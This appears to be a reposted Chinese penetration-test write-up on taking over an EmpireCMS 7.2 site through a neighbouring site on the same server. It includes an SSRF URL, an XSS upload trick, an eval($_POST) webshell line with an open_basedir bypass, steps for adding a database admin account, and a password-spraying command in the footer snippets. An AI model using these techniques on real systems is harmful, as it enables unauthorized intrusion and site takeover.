通过拿下旁站创建帝国cms后台账户

VSole2022-08-14 06:56:21

0x00 前言

公司的每月任务同事没完成数量就帮忙看了一下,发现到了个查不到的问题就来分享了一下。

0x01 渗透路程

首先从资产列表中随便选了一个站:http://www.xxxxx.org.cn 。然后就习惯性的先点击插件link-grabber看看网页有包含了什么链接

这路径一看直接猜测一波帝国cms好吧。直接猜一波后台路径/e/admin,哦吼果然没那么简单。

那就看一下前台登录路径看得不得e/member/login/,呀呼,前台可以

本来下面应该是empire cms的不知道被改成了什么意思的cms,不过版本号可能就没改,那就可能是帝国cms7.2的版本了。点击会员列表看到只有一个admin的账户,想着爆破一波弱口令,可惜没爆破成功

然后就扫了一下端口看看有什么端口,扫到了个27017端口,mongodb数据库,用超级弱口令工具检测出来密码为空,以为能拿到数据库了。结果好家伙,尝试了各种工具花了半天发现连不上。(后面看到了这个:https://blog.csdn.net/Xu_programmer/article/details/116561078踩坑了)

在会员列表看资料/e/space/?userid=1看到了有留下了邮箱。然后就通过sgk找到了前台的密码,成功拿下了前台

但是可惜前台很多功能都被删完了,几乎没剩下什么可以利用的了。就在无望的时候扫描目录发现了个ueditor,哦吼。/e/data/ecmseditor/ueditor/。通过用控制台输入:console.log(UE.version)能看ueditor的版本。为1.4.3

随后通过搜索引擎发现有个ssrf漏洞

http://e/data/ecmseditor/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

本来想着看能不能getshell的,但是这个是php的,好像只有aspx的才能getshell,于是只能上传文件个存储型xss了

通过上传图片后抓包将uploadimage类型改为uploadfile,并修改文件后缀名为xml,最后复制上xml代码即可

"http://www.w3.org/1999/xhtml"> alert(1);

在无果的时候想着了这个应该不是后台的路径,于是想起了这个是由一家名为:XX信息 的公司建立的于是对路径/e/xx/ 进行了猜想,果然就是帝国cms的后台登录地址了,但是没有账号密码,登录不上。又陷入了沉迷

于是又想起了访问的如果是https报错的话有显示个报错信息,里面包含是另外一个网站livexxxxxx.com

于是对两个网站都ping检测了一下,发现两个都是同个IP,那应该就是同个服务器下面的了

打开旁站后一心想着找后台,虽然找到了后台地址,但是发现后台地址也没登录上,在前台地址看到了能扫码登录,于是用wechat扫码登录了一下,然后就看到了在头像的位置能上传,于是就随便上传了个php文件,没想到可以直接上传!!!

二话不说直接就上传了个哥斯拉的马,拿下了旁站的shell。但是什么命令都执行不了,用的是宝塔,想着用fpm绕过disable,但是绕不过。php7的,用FFI也不行。

然后我就想着提权不了,也看不了上级的目录,那要怎么拿目标站?辛亏我师傅说可以用.user.ini和php文件来绕过目录的限制!!

//.user.ini
open_basedir=:/
//user.php
eval($_post["pass"])
?>

通过突破目录的限制,连上了新的shell后发现能看到全部的目录了,结果一看好家伙,228个目录站,首先就找了此次的目标站

然后在e/config/config.php 找到了数据库的配置,用哥斯拉连上了数据库,找到了后台的数据库表之后想着添加个账号,但是好家伙,一看我人懵了,这是什么鬼???用cmd5也搜不到密码

然后通过搜索引擎都没搜到我想要的创建账号的相关信息,于是自己搭建了个帝国cms7.2的版本来测试,但是在数据库怎么添加的账号都是这样登录不上,在后台添加的账号却可以直接登录。试了一下在数据库复制在后台创建的账号,然后再在后台把新创建的账户给删了,再用数据库直接添加,但是也还是登录不上。我人又双叒叕的懵了。

于是我就想着用我刚好上周学了一周的php基础来看一下源码是通过怎么通过数据库的来验证是否是创建的账户呢。终于找到了adminfun.php的这个文件中 //认证码 在这里验证账号密码

//认证码
    if($ecms_config['esafe']['loginauth']&&$ecms_config['esafe']['loginauth']!=$post['loginauth'])
    {
        InsertErrorLoginNum($username,$password,1,$loginip,$logintime);
        printerror("ErrorLoginAuth","index.php");
    }
    $user_r=$empire->fetch1("select userid,password,salt,salt2,lasttime,lastip,addtime,addip,userprikey,lastipport,addipport from {$dbtbpre}enewsuser where username='".$username."' and checked=0 limit 1");
    if(!$user_r['userid'])
    {
        InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
        printerror("LoginFail","index.php");
    }
    $ch_password=DoEmpireCMSAdminPassword($password,$user_r['salt'],$user_r['salt2']);
    if($user_r['password']!=$ch_password)
    {
        InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
        printerror("LoginFail","index.php");
    }

然后在下面的//安全问答验证enewsuseradd表的userid是否存在

//安全问答
    $user_addr=$empire->fetch1("select userid,equestion,eanswer,openip,certkey from {$dbtbpre}enewsuseradd where userid='$user_r[userid]'");
    if(!$user_addr['userid'])
    {
        InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
        printerror("LoginFail","index.php");
    }
    if($user_addr['equestion'])
    {
        $equestion=(int)$post['equestion'];
        $eanswer=$post['eanswer'];
        if($user_addr['equestion']!=$equestion)
        {
            InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
            printerror("LoginFail","index.php");
        }
        $ckeanswer=ReturnHLoginQuestionStr($user_r['userid'],$username,$user_addr['equestion'],$eanswer);
        if($ckeanswer!=$user_addr['eanswer'])
        {
            InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
            printerror("LoginFail","index.php");
        }
    }

随后我看了一下确实通过后台创建的账户都有个userid,然后我用数据库的添加都没有。随后我就自己添加了个进去,果然就可以登录上后台了!!!

导出我自己创建的账号语句直接在目标站添加了进去,再在enewsuseradd的表添加了我刚刚添加的账号id,终于成功的登录上了后台!

之后就在网上找到的那些洞中一个个复现了,首先第一个就是通过备份数据来看phpinfo的信息了

获取到了phpinfo信息,再试那些能拿shell的漏洞了,但是发现其他拿shell的功能点都不见了。于是我直接在我自己搭建的环境中抓对应的包来这边修改,最后终于试到还有一个可以拿shell的点,“导入系统模型”,虽然功能点见不到,但是通过抓包改包最终还是露出了原形

数据库帝国cms
本作品采用《CC 协议》,转载必须注明作者和本文链接
0x00 前言公司的每月任务同事没完成数量就帮忙看了一下,发现到了个查不到的问题就来分享了一下。然后就习惯性的先点击插件link-grabber看看网页有包含了什么链接这路径一看直接猜测一波帝国cms好吧。直接猜一波后台路径/e/admin,哦吼果然没那么简单。结果好家伙,尝试了各种工具花了半天发现连不上。
本文将对EmpireCMS(帝国cms)的漏洞进行分析及复现。代码分析这一块主要还是借鉴了大佬们的一些分析思想,这里对大佬们提供的思路表示衷心的感谢。
验证子域邮箱名Invoke-DomainHarvestOWA-ExchHostname -Domain -UserList .\userName.txt -OutFile sprayed-ews-creds.txt. Office 365近源渗透物理渗透、物理攻击、近源渗透,这几个的意思都是在接近目标进行安全测试。Wi-Fi网线没有终端准入控制,直接插网线 DHCP 获取 IP。Bad USBBlack Hat 上提出 Bad USB。社会工程学在信息收集过程中就开始。钓鱼本质是利用人的信任。Windows 主机FTP服务端开启 FTP 服务。使用 certutil 下载的文件会原封不动在?目录下保存一份,文件名位随机字符,使用 delete 可以删除刚下载的缓存。
分目录站点 •形如: www.xxx.com www.xxx.com/bbs www.xxx.com/old •渗透思路:网站可能有多个cms或框架组成,那么对于渗透而言,相当于渗透目标是多个(一个cms一个思路) 分端口站点 •形如:www.zzz.com www.zzz.com:8080 www.zzz.com:8888 •渗透思路:网站可能有多个端口或框架组成,那么对于渗透而言,相当
getshell学习总结
2022-06-07 08:05:41
上传、数据库备份、配置插马 关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心知识库,道路且长。本文仅记录最近对常见cms后台getshell的学习总结
GETSHELL学习总结
2021-12-17 06:53:12
一、方法分类 1.带有漏洞的应用 redis 、tomcat、解析漏洞、编辑器、FTP 2.常规漏洞 sql注入、上传、文件包含、命令执行、Struts2、代码反序列化 3.后台拿shell 上传、数据库备份、配置插马 关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心知识库,道路且长。本文仅记录最近对常见cms后台getshell的学习总结
2021年8月23日-2021年8月29日 本周漏洞态势研判情况本周信息安全漏洞威胁整体评价级别为中。
VSole
网络安全专家